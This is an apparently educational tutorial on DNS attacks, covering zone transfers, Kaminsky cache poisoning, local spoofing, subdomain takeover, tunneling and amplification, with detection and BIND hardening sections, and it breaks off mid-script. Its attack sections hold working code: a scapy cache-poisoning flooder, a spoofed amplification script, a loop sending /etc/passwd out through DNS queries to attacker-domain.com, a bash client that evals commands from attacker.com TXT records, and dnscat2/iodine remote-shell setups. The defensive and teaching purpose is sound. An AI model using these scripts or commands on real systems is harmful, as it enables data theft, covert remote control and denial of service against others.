
DNS attacks: zone transfers, cache poisoning, takeovers and tunneling
DNS attack notes covering zone transfers, cache poisoning, subdomain takeovers, tunneling and amplification, with detection for each.
Introduction
The Domain Name System (DNS) translates domain names into IP addresses. It runs mainly on UDP port 53, with TCP for large responses and zone transfers. The protocol dates from 1983 and was designed without authentication, so a resolver has no built-in way to tell a forged answer from a real one.
Users and systems trust DNS responses. An attacker who breaks that trust through cache poisoning, a malicious zone configuration or an intercepted query can redirect traffic without the victim noticing, intercept communications, and get around controls that rely on domain names. Recursive resolvers cache responses, so one poisoned entry can affect thousands of downstream clients.
DNS is also useful to an attacker as a transport. It carries command-and-control (C2) traffic and exfiltrated data through tunneling, gives up reconnaissance data through zone transfers and subdomain enumeration, and amplifies distributed denial-of-service (DDoS) attacks. DNS-based security controls (blackhole lists, domain filtering, threat intelligence feeds) are targets too.
Why DNS matters on a test
Every internet connection starts with a DNS query. An attacker who controls the answers can intercept banking sessions, redirect email, serve malware from what looks like a legitimate update server, or take services offline.
Technical background
DNS protocol architecture
DNS is a hierarchical, distributed database. Queries are resolved recursively or iteratively:
DNS hierarchy:
Root Servers (.)
|
+-----------------+-----------------+
| | |
TLD (.com) TLD (.org) TLD (.net)
| | |
Authoritative NS Authoritative NS Authoritative NS
(example.com) (example.org) (example.net)
|
+-----------------+
| |
subdomain.example.com www.example.comQuery resolution flow:
Client → Recursive Resolver → Root Server → TLD Server → Authoritative NS → Response
↑______________________________________________________________|
(cached for TTL duration)DNS record types
| Record type | Purpose | Security implications |
|---|---|---|
| A | IPv4 address mapping | Target for cache poisoning, hijacking |
| AAAA | IPv6 address mapping | Often overlooked in security policies |
| CNAME | Canonical name alias | Subdomain takeover |
| MX | Mail exchanger | Email interception, spam relay abuse |
| NS | Name server delegation | Zone transfer attacks, delegation hijacking |
| TXT | Text records | SPF/DKIM/DMARC bypass, information disclosure |
| PTR | Reverse DNS lookup | Reconnaissance, trust validation bypass |
| SRV | Service locator | Service discovery for targeted attacks |
| SOA | Start of authority | Zone configuration enumeration |
| CAA | Certificate authority authorization | Certificate misissuance prevention |
DNS query and response structure
DNS query format:
Header:
Transaction ID: 0x1234 (16-bit, must match response)
Flags: Standard query, recursion desired
Questions: 1
Answers: 0
Authority: 0
Additional: 0
Question:
Name: www.example.com
Type: A (IPv4 address)
Class: IN (Internet)DNS response format:
Header:
Transaction ID: 0x1234 (matches query)
Flags: Response, authoritative answer
Questions: 1
Answers: 1
Authority: 2
Additional: 2
Answer:
Name: www.example.com
Type: A
Class: IN
TTL: 3600 seconds
Data: 192.0.2.1Attack surface overview
DNS vulnerabilities by component:
| Component | Common attacks | Impact |
|---|---|---|
| Recursive resolver | Cache poisoning, amplification | Widespread client redirection |
| Authoritative server | Zone transfer, zone poisoning | Complete domain control |
| Client/stub resolver | Local poisoning, HOSTS file modification | Individual system compromise |
| DNS traffic | MITM interception, tunneling detection | Communication compromise, data exfiltration |
| Registration/configuration | Domain hijacking, subdomain takeover | Service impersonation, phishing |
DNS zone transfer attacks
Understanding zone transfers
DNS zone transfers (AXFR queries) synchronize DNS data between primary and secondary name servers. A server misconfigured to allow transfers to any host hands over the whole zone: internal hostnames, service locations and the naming scheme.
Enumeration and discovery
# Identify DNS servers
nmap -p 53 -sV target-domain.com
# Discover name servers
dig NS target-domain.com
# Output:
# target-domain.com. 3600 IN NS ns1.target-domain.com.
# target-domain.com. 3600 IN NS ns2.target-domain.com.
# Resolve name server IP addresses
dig A ns1.target-domain.com
dig A ns2.target-domain.com
# Alternative: Use host command
host -t NS target-domain.com
host ns1.target-domain.comAttempt zone transfer
# Method 1: Using dig
dig @ns1.target-domain.com target-domain.com AXFR
# Method 2: Using host
host -l target-domain.com ns1.target-domain.com
# Method 3: Using nslookup
nslookup
> server ns1.target-domain.com
> ls -d target-domain.com
# Method 4: Using fierce (automated)
fierce --domain target-domain.com
# Successful output reveals:
# - All A records (internal IPs, server locations)
# - CNAME records (aliases, service names)
# - MX records (mail infrastructure)
# - TXT records (SPF, DKIM, metadata)
# - SRV records (service locations)Parse and analyze results
# Extract all subdomains
dig @ns1.target-domain.com target-domain.com AXFR | grep -E "^[a-zA-Z0-9]" | awk '{print $1}' | sort -u
# Extract only A records with IPs
dig @ns1.target-domain.com target-domain.com AXFR | grep "IN\s*A" | awk '{print $1, $5}'
# Find mail servers
dig @ns1.target-domain.com target-domain.com AXFR | grep "MX"
# Identify potential staging/dev environments
dig @ns1.target-domain.com target-domain.com AXFR | grep -E "(dev|test|stage|uat|preprod)"Automated zone transfer enumeration
#!/usr/bin/env python3
"""
DNS Zone Transfer Enumeration Tool
Attempts AXFR requests against discovered name servers
"""
import dns.resolver
import dns.zone
import dns.query
import sys
from termcolor import colored
def get_nameservers(domain):
"""Retrieve NS records for domain"""
try:
ns_records = dns.resolver.resolve(domain, 'NS')
nameservers = [str(ns.target).rstrip('.') for ns in ns_records]
return nameservers
except Exception as e:
print(colored(f"[-] Error resolving NS records: {e}", "red"))
return []
def attempt_zone_transfer(domain, nameserver):
"""Attempt AXFR zone transfer"""
try:
print(colored(f"\n[*] Attempting zone transfer from {nameserver}...", "yellow"))
# Attempt zone transfer
zone = dns.zone.from_xfr(dns.query.xfr(nameserver, domain, timeout=10))
if zone:
print(colored(f"[+] Zone transfer successful from {nameserver}!", "green"))
print(colored(f"[+] Found {len(zone.nodes)} records:\n", "green"))
results = []
for name, node in zone.nodes.items():
for rdataset in node.rdatasets:
for rdata in rdataset:
record = {
'name': f"{name}.{domain}" if str(name) != '@' else domain,
'type': dns.rdatatype.to_text(rdataset.rdtype),
'value': str(rdata)
}
results.append(record)
print(f" {record['name']:<40} {record['type']:<8} {record['value']}")
return results
else:
print(colored(f"[-] Zone transfer failed from {nameserver}", "red"))
return None
except dns.exception.FormError:
print(colored(f"[-] Zone transfer refused by {nameserver}", "red"))
return None
except dns.exception.Timeout:
print(colored(f"[-] Timeout connecting to {nameserver}", "red"))
return None
except Exception as e:
print(colored(f"[-] Error: {e}", "red"))
return None
def analyze_records(records):
"""Analyze discovered records for interesting findings"""
if not records:
return
print(colored("\n[*] Analysis Summary:", "cyan"))
# Count record types
types = {}
for record in records:
types[record['type']] = types.get(record['type'], 0) + 1
print(colored(f"\n[+] Record type distribution:", "cyan"))
for rtype, count in sorted(types.items(), key=lambda x: x[1], reverse=True):
print(f" {rtype:<10} {count:>4} records")
# Find interesting subdomains
interesting = ['admin', 'dev', 'test', 'stage', 'staging', 'uat', 'internal', 'vpn', 'mail', 'smtp', 'ftp']
found_interesting = [r for r in records if any(keyword in r['name'].lower() for keyword in interesting)]
if found_interesting:
print(colored(f"\n[+] Potentially interesting hosts:", "yellow"))
for record in found_interesting:
print(f" {record['name']:<40} {record['type']:<8} {record['value']}")
# Find RFC1918 private IPs
private_ranges = ['10.', '172.16.', '172.17.', '172.18.', '172.19.', '172.20.',
'172.21.', '172.22.', '172.23.', '172.24.', '172.25.', '172.26.',
'172.27.', '172.28.', '172.29.', '172.30.', '172.31.', '192.168.']
private_ips = [r for r in records if r['type'] == 'A' and any(r['value'].startswith(prefix) for prefix in private_ranges)]
if private_ips:
print(colored(f"\n[+] Internal IP addresses discovered:", "yellow"))
for record in private_ips:
print(f" {record['name']:<40} {record['value']}")
def main():
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} <domain>")
sys.exit(1)
domain = sys.argv[1]
print(colored(f"[*] Starting DNS zone transfer attack on {domain}", "cyan"))
# Get name servers
nameservers = get_nameservers(domain)
if not nameservers:
print(colored("[-] No name servers found", "red"))
sys.exit(1)
print(colored(f"[+] Found {len(nameservers)} name servers:", "green"))
for ns in nameservers:
print(f" - {ns}")
# Attempt zone transfer on each NS
all_records = []
for ns in nameservers:
records = attempt_zone_transfer(domain, ns)
if records:
all_records.extend(records)
# Analyze findings
if all_records:
analyze_records(all_records)
# Save results
output_file = f"zone_transfer_{domain}.txt"
with open(output_file, 'w') as f:
for record in all_records:
f.write(f"{record['name']}\t{record['type']}\t{record['value']}\n")
print(colored(f"\n[+] Results saved to {output_file}", "green"))
else:
print(colored("\n[-] No successful zone transfers", "red"))
if __name__ == '__main__':
main()Reconnaissance value of zone transfers
A successful zone transfer shows:
- Internal network layout: development, staging and production environments
- Services: mail servers, web servers, databases, FTP, VPN gateways
- Naming conventions, which help you guess more hosts
- Third-party integrations: SaaS platforms, CDNs, authentication services
- Legacy systems: old, possibly vulnerable hosts still in DNS
- Administrative contacts: email addresses from SOA records
- Geographic distribution, from regional naming patterns
DNS cache poisoning
Kaminsky attack fundamentals
The Kaminsky attack (CVE-2008-1447) exploits the small 16-bit transaction ID space in DNS queries, which lets an attacker inject forged responses into a resolver's cache.
Attack prerequisites:
- Ability to send packets to the target resolver
- Knowledge of the resolver's source port (if not randomized)
- A timing window while the legitimate query is being resolved
Attack flow:
1. Attacker triggers DNS query for target.com
Client → Resolver: "What is target.com?"
Resolver → Authoritative NS: "What is target.com?"
2. Race condition begins
Attacker floods resolver with forged responses:
- Transaction ID: 0x0001, Answer: target.com → 192.0.2.100 (attacker IP)
- Transaction ID: 0x0002, Answer: target.com → 192.0.2.100
- Transaction ID: 0x0003, Answer: target.com → 192.0.2.100
... (thousands of attempts)
3. If attacker's response arrives first AND matches transaction ID:
- Resolver caches malicious record
- All clients using this resolver get attacker's IP
- Cache persists for TTL duration (often hours)
4. Legitimate response arrives but is ignored (query already answered)Kaminsky attack proof of concept
#!/usr/bin/env python3
"""
DNS Cache Poisoning PoC (Kaminsky Attack)
Educational purposes only - requires raw socket capabilities
"""
from scapy.all import *
import random
import sys
def poison_dns_cache(target_resolver, target_domain, attacker_ip):
"""
Attempt to poison DNS cache with malicious record
WARNING: This is for educational purposes only
"""
print(f"[*] Target Resolver: {target_resolver}")
print(f"[*] Target Domain: {target_domain}")
print(f"[*] Attacker IP: {attacker_ip}")
print(f"[*] Starting cache poisoning attack...\n")
# Craft malicious DNS response
def craft_response(txid, query_name):
"""Create forged DNS response"""
# IP layer
ip = IP(
src=target_resolver, # Spoof authoritative NS IP
dst=target_resolver
)
# UDP layer
udp = UDP(
sport=53,
dport=random.randint(1024, 65535) # Guess ephemeral port
)
# DNS layer
dns = DNS(
id=txid,
qr=1, # Response
aa=1, # Authoritative answer
rd=1, # Recursion desired
ra=1, # Recursion available
qdcount=1,
ancount=1,
qd=DNSQR(qname=query_name, qtype='A'),
an=DNSRR(rrname=query_name, type='A', rdata=attacker_ip, ttl=3600)
)
return ip/udp/dns
# Attack loop
attempt = 0
max_attempts = 65536 # All possible transaction IDs
for txid in range(0, max_attempts):
# Craft and send forged response
packet = craft_response(txid, target_domain)
try:
send(packet, verbose=0)
attempt += 1
if attempt % 1000 == 0:
print(f"[*] Sent {attempt} forged responses...")
except Exception as e:
print(f"[-] Error: {e}")
break
print(f"\n[+] Attack complete. Sent {attempt} forged responses.")
print(f"[*] If successful, {target_domain} now resolves to {attacker_ip} on {target_resolver}")
if __name__ == '__main__':
if len(sys.argv) != 4:
print(f"Usage: {sys.argv[0]} <resolver_ip> <target_domain> <attacker_ip>")
sys.exit(1)
# Warning
print("\n" + "="*60)
print("WARNING: This tool is for educational purposes ONLY")
print("Unauthorized DNS cache poisoning is illegal")
print("="*60 + "\n")
response = input("Continue? (yes/no): ")
if response.lower() != 'yes':
sys.exit(0)
poison_dns_cache(sys.argv[1], sys.argv[2], sys.argv[3])Modern cache poisoning mitigations
DNSSEC (DNS security extensions):
# Check if domain uses DNSSEC
dig +dnssec example.com
# Look for RRSIG records in response
# Indicates cryptographically signed DNS records
# Validate DNSSEC chain
delv @8.8.8.8 example.com
# Output shows validation status:
# - Secure: DNSSEC validation successful
# - Insecure: No DNSSEC
# - Bogus: DNSSEC validation failedDNS query randomization:
- Transaction ID randomization (16 bits, 65,536 values)
- Source port randomization (around 64,000 usable ports, close to another 16 bits)
- Combined: about 32 bits of entropy (roughly 4 billion combinations), per RFC 5452
- Current resolvers implement both
DNS Cookies (RFC 7873):
# Check for DNS cookie support
dig +cookie example.com @resolver-ip
# Cookies provide:
# - Client identifier
# - Server validation
# - Replay attack preventionLocal DNS cache poisoning
Ettercap-based local poisoning:
# Configure DNS spoofing in Ettercap
nano /etc/ettercap/etter.dns
# Add entries:
target-domain.com A 192.168.1.100
*.target-domain.com A 192.168.1.100
# Start Ettercap with ARP spoofing
ettercap -T -q -i eth0 -M arp:remote /target-ip// /gateway-ip//
# Enable dns_spoof plugin
ettercap -T -q -i eth0 -P dns_spoof -M arp:remote /target-ip// /gateway-ip//
# Verify spoofing
# On target machine:
ping target-domain.com
# Should resolve to attacker's IPBettercap DNS spoofing:
# Start Bettercap
bettercap -iface eth0
# Enable DNS spoofer
dns.spoof on
# Set targets
set dns.spoof.domains target-domain.com, *.target-domain.com
set dns.spoof.address 192.168.1.100
# Enable ARP spoofing
set arp.spoof.targets 192.168.1.50
arp.spoof on
# Monitor spoofed queries
events.stream onSubdomain takeover attacks
Understanding subdomain takeovers
A subdomain takeover happens when a subdomain (for example dev.example.com) points at a third-party service (GitHub Pages, AWS S3, Azure, Heroku) through a CNAME record, and the service account is deprovisioned while the DNS record stays. An attacker can then claim that service endpoint and control the subdomain.
Subdomain enumeration
# Method 1: Subfinder (fast, uses multiple sources)
subfinder -d example.com -o subdomains.txt
# Method 2: Amass (comprehensive)
amass enum -d example.com -o amass_subdomains.txt
# Method 3: Assetfinder
assetfinder --subs-only example.com | tee assetfinder_subs.txt
# Method 4: DNS brute-forcing
dnsrecon -d example.com -D /usr/share/wordlists/subdomains.txt -t brt
# Method 5: Certificate transparency logs
curl -s "https://crt.sh/?q=%.example.com&output=json" | \
jq -r '.[].name_value' | sort -u
# Combine all results
cat subdomains.txt amass_subdomains.txt assetfinder_subs.txt | sort -u > all_subdomains.txtIdentify CNAME records
# Check for CNAME records
cat all_subdomains.txt | while read sub; do
echo "Checking: $sub"
dig +short CNAME $sub
done | tee cname_records.txt
# Filter for third-party services
cat cname_records.txt | grep -Ei "(github|amazonaws|azure|heroku|wordpress|shopify|tumblr|desk|unbounce)"Test for takeover vulnerability
# Check if subdomain returns error indicating unclaimed resource
# For AWS S3
curl -I https://vulnerable-subdomain.example.com
# Look for: "NoSuchBucket", "The specified bucket does not exist"
# For GitHub Pages
curl -I https://vulnerable-subdomain.example.com
# Look for: "There isn't a GitHub Pages site here"
# For Heroku
curl -I https://vulnerable-subdomain.example.com
# Look for: "No such app"
# For Azure
curl -I https://vulnerable-subdomain.example.com
# Look for: "404 Web Site not found"Automated vulnerability scanning
# Using SubOver
go get github.com/Ice3man543/SubOver
SubOver -l all_subdomains.txt
# Using subjack
go get github.com/haccer/subjack
subjack -w all_subdomains.txt -t 100 -timeout 30 -ssl -c subjack-fingerprints.json
# Using nuclei with templates
nuclei -l all_subdomains.txt -t subdomain-takeover/
# Output shows vulnerable subdomains and recommended services to claimExploitation examples
GitHub Pages takeover:
# 1. Verify vulnerability
dig CNAME dev.example.com
# Output: dev.example.com. 3600 IN CNAME old-org.github.io.
curl https://dev.example.com
# Returns: "There isn't a GitHub Pages site here"
# 2. Create GitHub repository
# Name: old-org (must match CNAME target before .github.io)
# 3. Enable GitHub Pages
# Settings → Pages → Source: main branch → Save
# 4. Add CNAME file to repository
echo "dev.example.com" > CNAME
git add CNAME
git commit -m "Add custom domain"
git push
# 5. Verify takeover
curl https://dev.example.com
# Now serves your content
# 6. Create proof of concept
echo "<h1>Subdomain Takeover PoC</h1>" > index.html
echo "<p>This domain is vulnerable to subdomain takeover</p>" >> index.html
git add index.html
git commit -m "Add PoC"
git pushPrevention and detection
# Automated subdomain monitoring
#!/bin/bash
# monitor_subdomains.sh
DOMAIN="example.com"
PREVIOUS_FILE="previous_subdomains.txt"
CURRENT_FILE="current_subdomains.txt"
# Enumerate subdomains
subfinder -d $DOMAIN -silent | sort -u > $CURRENT_FILE
# Check for removed subdomains (potential dangling DNS)
if [ -f $PREVIOUS_FILE ]; then
REMOVED=$(comm -23 $PREVIOUS_FILE $CURRENT_FILE)
if [ ! -z "$REMOVED" ]; then
echo "[!] WARNING: Subdomains removed since last check:"
echo "$REMOVED"
# Check if DNS records still exist
echo "$REMOVED" | while read sub; do
CNAME=$(dig +short CNAME $sub)
if [ ! -z "$CNAME" ]; then
echo "[!] ALERT: $sub has CNAME to $CNAME but subdomain is removed!"
echo " This may be vulnerable to takeover!"
fi
done
fi
fi
# Update baseline
mv $CURRENT_FILE $PREVIOUS_FILEDNS tunneling and data exfiltration
Understanding DNS tunneling
DNS tunneling encodes data in DNS queries and responses to get through firewalls, exfiltrate data, or run a command-and-control (C2) channel. DNS is rarely blocked and often unmonitored, which makes it a good covert channel.
Manual DNS tunneling techniques
Basic data exfiltration:
# Encode data in DNS query
# Each query can contain ~63 characters per label, 253 total
# Example: Exfiltrate /etc/passwd
cat /etc/passwd | base64 | fold -w 63 | while read line; do
dig $line.attacker-domain.com @attacker-dns-server
sleep 1
done
# On attacker's DNS server (log file):
tail -f /var/log/named/queries.log | grep attacker-domain.com | \
awk '{print $6}' | cut -d'.' -f1 | base64 -dDNS TXT record exfiltration:
# Attacker sets up authoritative DNS server to respond with TXT records
# Client queries with data in subdomain
# Server responds with encoded commands in TXT record
# Client script:
#!/bin/bash
while true; do
# Send beacon
RESPONSE=$(dig +short TXT "$(hostname).beacon.attacker.com" @attacker-server)
# Execute commands from TXT response
eval $RESPONSE
# Send results
RESULT=$(eval $RESPONSE | base64 -w0)
dig ${RESULT:0:63}.response.attacker.com @attacker-server
sleep 60
doneDNS tunneling tools
dnscat2 (most popular):
# Server (attacker machine)
ruby dnscat2.rb attacker-domain.com
# Client (victim machine)
./dnscat --secret=secretkey attacker-domain.com
# Or if DNS server is specified:
./dnscat --secret=secretkey --dns server=8.8.8.8,domain=attacker-domain.com
# Once connected:
# - Fully interactive shell
# - File transfer capabilities
# - Port forwarding through DNS
# - Encrypted communication
# dnscat2 commands:
# windows - list active sessions
# window -i 1 - interact with session 1
# shell - spawn interactive shell
# upload/download - file transferiodine (high performance):
# Server setup
sudo iodined -f -c -P secretpassword 10.0.0.1 tunnel.attacker.com
# Client connection
sudo iodine -f -P secretpassword tunnel.attacker.com
# Creates virtual network interface (dns0)
# All traffic through this interface is tunneled via DNS
# Use SSH over DNS tunnel
ssh -D 8080 user@10.0.0.1
# Now have SOCKS proxy over DNS tunnel
# Performance:
# - ~3-5 KB/s with default DNS
# - ~50-100 KB/s with direct NS queries
# - Depends on DNS resolver recursion limitsdns2tcp:
# Server configuration
# /etc/dns2tcpd.conf
listen = 0.0.0.0
port = 53
domain = tunnel.attacker.com
ressources = ssh:127.0.0.1:22
# Start server
dns2tcpd -f /etc/dns2tcpd.conf
# Client usage
dns2tcpc -r ssh -z tunnel.attacker.com -l 2222 127.0.0.1
# Now SSH is available on localhost:2222
ssh -p 2222 user@127.0.0.1Detecting DNS tunneling
Statistical analysis:
#!/usr/bin/env python3
"""
DNS Tunneling Detection - Statistical Anomalies
"""
import re
from collections import Counter
def analyze_dns_logs(logfile):
"""Analyze DNS queries for tunneling indicators"""
suspicious_queries = []
with open(logfile, 'r') as f:
for line in f:
# Extract domain from query
match = re.search(r'query: ([^\s]+)', line)
if not match:
continue
domain = match.group(1)
# Indicators of tunneling:
# 1. Excessive subdomain length
labels = domain.split('.')
for label in labels:
if len(label) > 40:
suspicious_queries.append({
'domain': domain,
'reason': 'Long subdomain label',
'value': len(label)
})
# 2. High entropy (random-looking subdomains)
entropy = calculate_entropy(labels[0] if labels else '')
if entropy > 4.0: # High entropy threshold
suspicious_queries.append({
'domain': domain,
'reason': 'High entropy subdomain',
'value': entropy
})
# 3. Unusual character distribution
if has_base64_pattern(labels[0] if labels else ''):
suspicious_queries.append({
'domain': domain,
'reason': 'Base64-like encoding detected'
})
# 4. Excessive query volume to single domain
# (requires tracking across time)
return suspicious_queries
def calculate_entropy(s):
"""Calculate Shannon entropy of string"""
import math
counter = Counter(s)
length = len(s)
return -sum(count/length * math.log2(count/length) for count in counter.values())
def has_base64_pattern(s):
"""Check if string matches base64 pattern"""
return bool(re.match(r'^[A-Za-z0-9+/]+=*$', s))
# Usage
suspicious = analyze_dns_logs('/var/log/named/queries.log')
for query in suspicious:
print(f"[!] {query['domain']}: {query['reason']}")Behavioral indicators:
- Unusually long subdomain labels (>40 characters)
- High entropy in subdomain names (random appearance)
- Repeated queries to the same base domain
- Queries at regular intervals (C2 check-in pattern)
- TXT record queries with large responses
- NULL record type queries
- High ratio of queries to unique subdomains
Network-based detection:
# Monitor with tcpdump
tcpdump -i any -n port 53 -A | grep -E '^[A-Za-z0-9+/]{40,}'
# Count queries per domain
tcpdump -i any -n port 53 2>/dev/null | \
awk '{print $8}' | cut -d'.' -f2- | \
sort | uniq -c | sort -rn | head -20
# Find long subdomains
tcpdump -i any -n port 53 -A 2>/dev/null | \
grep -oE '[a-z0-9]{50,}\.[a-z]+' | sort -uDNS amplification DDoS attacks
Attack mechanics
DNS amplification uses open DNS resolvers to multiply attack traffic by 30-50x or more.
Attack flow:
1. Attacker spoofs source IP to victim's IP
Attacker → Open Resolver: Query for ANY record of large-record.com
Source IP: VICTIM_IP (spoofed)
2. Resolver queries authoritative server
Resolver → Authoritative NS: What are ALL records for large-record.com?
3. Large response sent to spoofed IP (victim)
Resolver → VICTIM_IP: [4000+ bytes of DNS response]
4. Amplification factor calculation:
Query size: 60 bytes
Response size: 4000 bytes
Amplification: 66.6x
5. Multiply by thousands of open resolvers = massive DDoSIdentifying open resolvers
# Check if resolver is open
dig @target-resolver example.com
# If response received, resolver is open
# Scan for open resolvers (careful - noisy)
nmap -sU -p 53 --script dns-recursion <network-range>
# Check amplification potential
dig @open-resolver ANY isc.org | wc -c
# Compare response size to query size
# Find resolvers with large amplification
# Query for domains with many records
dig @resolver ANY ripe.net
dig @resolver ANY google.comAttack script (educational only)
#!/usr/bin/env python3
"""
DNS Amplification Attack PoC
WARNING: For educational purposes ONLY
Unauthorized DDoS attacks are illegal
"""
from scapy.all import *
import sys
def dns_amplification(target_ip, resolver_list, domain):
"""
Demonstrate DNS amplification attack
"""
print(f"[*] Target: {target_ip}")
print(f"[*] Using {len(resolver_list)} resolvers")
print(f"[*] Query domain: {domain}")
print(f"[*] Starting attack...\n")
count = 0
while True:
for resolver in resolver_list:
# Craft DNS query with spoofed source IP
ip = IP(src=target_ip, dst=resolver) # Spoof victim's IP
udp = UDP(sport=random.randint(1024, 65535), dport=53)
# Request ANY record (largest response)
dns = DNS(rd=1, qd=DNSQR(qname=domain, qtype='ANY'))
packet = ip/udp/dns
# Send packet
send(packet, verbose=0)
count += 1
if count % 100 == 0:
print(f"[*] Sent {count} amplified queries...")
if __name__ == '__main__':
print("\n" + "="*70)
print("WARNING: This tool demonstrates illegal DDoS attack techniques")
print("Use ONLY in authorized testing environments")
print("Unauthorized use is illegal and punishable by law")
print("="*70 + "\n")
# Example open resolvers (DO NOT USE IN REAL ATTACKS)
resolvers = [
'8.8.8.8',
'1.1.1.1',
# Add more (never use without permission)
]
# Domain with large DNS response
amplification_domain = 'ripe.net' # Known to have many records
# This is where you would specify target (NEVER DO THIS)
# target = sys.argv[1]
# dns_amplification(target, resolvers, amplification_domain)
print("[*] Attack code intentionally disabled")
print("[*] This is for educational reference only")Mitigation strategies
# Disable recursion on authoritative servers
# BIND configuration (/etc/named.conf):
options {
recursion no;
allow-query { trusted-networks; };
rate-limit {
responses-per-second 10;
window 5;
};
};
# Response Rate Limiting (RRL)
rate-limit {
responses-per-second 10; # Max responses to same IP
errors-per-second 5;
window 5;
};
# Block ANY queries
# (legitimate use is rare, mostly used for amplification)
options {
minimal-responses yes; # Don't respond to ANY with all records
};
# Implement BCP38 (ingress filtering)
# Prevent IP spoofing at network edge
# Monitor for amplification attacks
# Alert on high DNS query rate from single IP
# Alert on ANY query floodDetection and monitoring
DNS monitoring tools and techniques
Passive DNS collection:
# Setup passive DNS collector with packetbeat
# Install Packetbeat
wget https://artifacts.elastic.co/downloads/beats/packetbeat/packetbeat-8.x.x-amd64.deb
sudo dpkg -i packetbeat-8.x.x-amd64.deb
# Configure for DNS monitoring
sudo nano /etc/packetbeat/packetbeat.yml
# Add DNS configuration:
packetbeat.interfaces.device: any
packetbeat.protocols:
- type: dns
ports: [53]
send_request: true
send_response: true
# Output to Elasticsearch
output.elasticsearch:
hosts: ["localhost:9200"]
# Start collection
sudo systemctl start packetbeat
# Query passive DNS data
curl -X GET "localhost:9200/packetbeat-*/_search?pretty" -H 'Content-Type: application/json' -d'
{
"query": {
"match": {
"dns.question.name": "example.com"
}
}
}
'Using dnstap:
# Configure BIND to use dnstap
# /etc/named.conf:
options {
dnstap { all; };
dnstap-output unix "/var/run/named/dnstap.sock";
};
# Capture dnstap output
dnstap -u /var/run/named/dnstap.sock | dnstap-ldns
# Filter for specific query types
dnstap -u /var/run/named/dnstap.sock | grep "AXFR"
dnstap -u /var/run/named/dnstap.sock | grep "ANY"Defense and hardening
DNS server hardening
BIND configuration hardening
# /etc/named.conf - Secure configuration
options {
# General security
directory "/var/named";
version "Not Disclosed"; # Hide version
hostname "Not Disclosed"; # Hide hostname
# Restrict recursion
recursion no; # For authoritative servers
# OR for resolvers:
# recursion yes;
# allow-recursion { trusted-networks; };
# Restrict zone transfers
allow-transfer { none; }; # Or specific secondaries
# allow-transfer { secondary-servers; };
# Restrict queries
allow-query { any; }; # For authoritative
# allow-query { trusted-networks; }; # For internal resolver
# Rate limiting (prevent amplification)
rate-limit {
responses-per-second 10;
referrals-per-second 5;
nodata-per-second 5;
nxdomains-per-second 5;
errors-per-second 5;
all-per-second 20;
window 5;
log-only no;
qps-scale 250;
ipv4-prefix-length 24;
ipv6-prefix-length 56;
};
# Minimal responses (prevent reconnaissance)
minimal-responses yes;
minimal-any yes;
# DNSSEC validation (for resolvers)
dnssec-validation auto;
# Disable unnecessary features
empty-zones-enable yes;
allow-new-zones no;
# Query logging
querylog yes;
};
# Zone configuration with transfer restrictions
zone "example.com" IN {
type master;
file "example.com.zone";
allow-transfer { 192.0.2.2; 192.0.2.3; }; # Secondary servers only
allow-query { any; };
notify yes;
};
# Trusted ACL
acl trusted-networks {
10.0.0.0/8;
192.168.0.0/16;
172.16.0.0/12;
localhost;
localnets;
};
acl secondary-servers {
192.0.2.2;
192.0.2.3;
};Implement DNSSEC
# Generate DNSSEC keys
dnssec-keygen -a RSASHA256 -b 2048 -n ZONE example.com # ZSK
dnssec-keygen -a RSASHA256 -b 4096 -n ZONE -f KSK example.com # KSK
# Sign zone
dnssec-signzone -A -3 $(head -c 1000 /dev/random | sha1sum | cut -b 1-16) \
-N INCREMENT -o example.com -t example.com.zone
# Update named.conf to use signed zone
zone "example.com" IN {
type master;
file "example.com.zone.signed";
key-directory "/var/named/keys";
auto-dnssec maintain;
inline-signing yes;
};
# Verify DNSSEC
delv @localhost example.com
# Publish DS record to parent zone
# Extract DS record:
dnssec-dsfromkey -2 Kexample.com.+008+12345.keyConfigure response policy zones (RPZ)
# Block malicious domains using RPZ
zone "rpz.example.com" {
type master;
file "db.rpz.example.com";
allow-query { none; };
};
# Configure RPZ in options
options {
response-policy {
zone "rpz.example.com";
};
};
# RPZ zone file (db.rpz.example.com)
$TTL 60
@ IN SOA localhost. root.localhost. (
1 ; serial
1h ; refresh
15m ; retry
30d ; expire
1h ; minimum
)
IN NS localhost.
# Block malicious domains
malware.example.com CNAME .
*.phishing.net CNAME .Deploy DNS firewall rules
# iptables rules for DNS protection
# Allow DNS from trusted sources only (authoritative server)
iptables -A INPUT -p udp --dport 53 -s trusted-network -j ACCEPT
iptables -A INPUT -p tcp --dport 53 -s trusted-network -j ACCEPT
iptables -A INPUT -p udp --dport 53 -j DROP
iptables -A INPUT -p tcp --dport 53 -j DROP
# Rate limiting (prevent amplification abuse)
iptables -A INPUT -p udp --dport 53 -m hashlimit \
--hashlimit-name dns-query \
--hashlimit-above 50/second \
--hashlimit-burst 100 \
--hashlimit-mode srcip \
--hashlimit-htable-expire 10000 \
-j DROP
# Block AXFR from internet (zone transfer protection)
iptables -A INPUT -p tcp --dport 53 -m string --algo bm --hex-string "|00 00 fc|" -j DROP
# Save rules
iptables-save > /etc/iptables/rules.v4Subdomain takeover prevention
# Automated subdomain monitoring script
#!/bin/bash
# monitor_dangling_cnames.sh
DOMAIN="example.com"
OUTPUT_DIR="/var/log/dns-monitor"
mkdir -p $OUTPUT_DIR
# Enumerate all subdomains
subfinder -d $DOMAIN -silent | sort -u > $OUTPUT_DIR/all_subdomains.txt
# Check each subdomain
cat $OUTPUT_DIR/all_subdomains.txt | while read subdomain; do
# Get CNAME
CNAME=$(dig +short CNAME $subdomain 2>/dev/null)
if [ ! -z "$CNAME" ]; then
# Check if CNAME target is resolvable
CNAME_IP=$(dig +short $CNAME 2>/dev/null)
if [ -z "$CNAME_IP" ]; then
echo "[!] WARNING: Dangling CNAME detected!"
echo " Subdomain: $subdomain"
echo " CNAME: $CNAME"
echo " Status: CNAME target does not resolve"
# Alert
echo "Dangling CNAME: $subdomain -> $CNAME" | \
mail -s "DNS Security Alert" security@company.com
# Log finding
echo "$(date): $subdomain -> $CNAME (dangling)" >> $OUTPUT_DIR/dangling_cnames.log
fi
# Check for specific vulnerable services
if echo "$CNAME" | grep -Ei "(github\.io|herokuapp|azurewebsites|s3\.amazonaws)"; then
# Test for takeover
HTTP_STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$subdomain" 2>/dev/null)
if [ "$HTTP_STATUS" == "404" ]; then
echo "[!!] CRITICAL: Subdomain vulnerable to takeover!"
echo " Subdomain: $subdomain"
echo " CNAME: $CNAME"
echo " HTTP Status: 404"
# Critical alert
echo "CRITICAL: Subdomain takeover vulnerability - $subdomain" | \
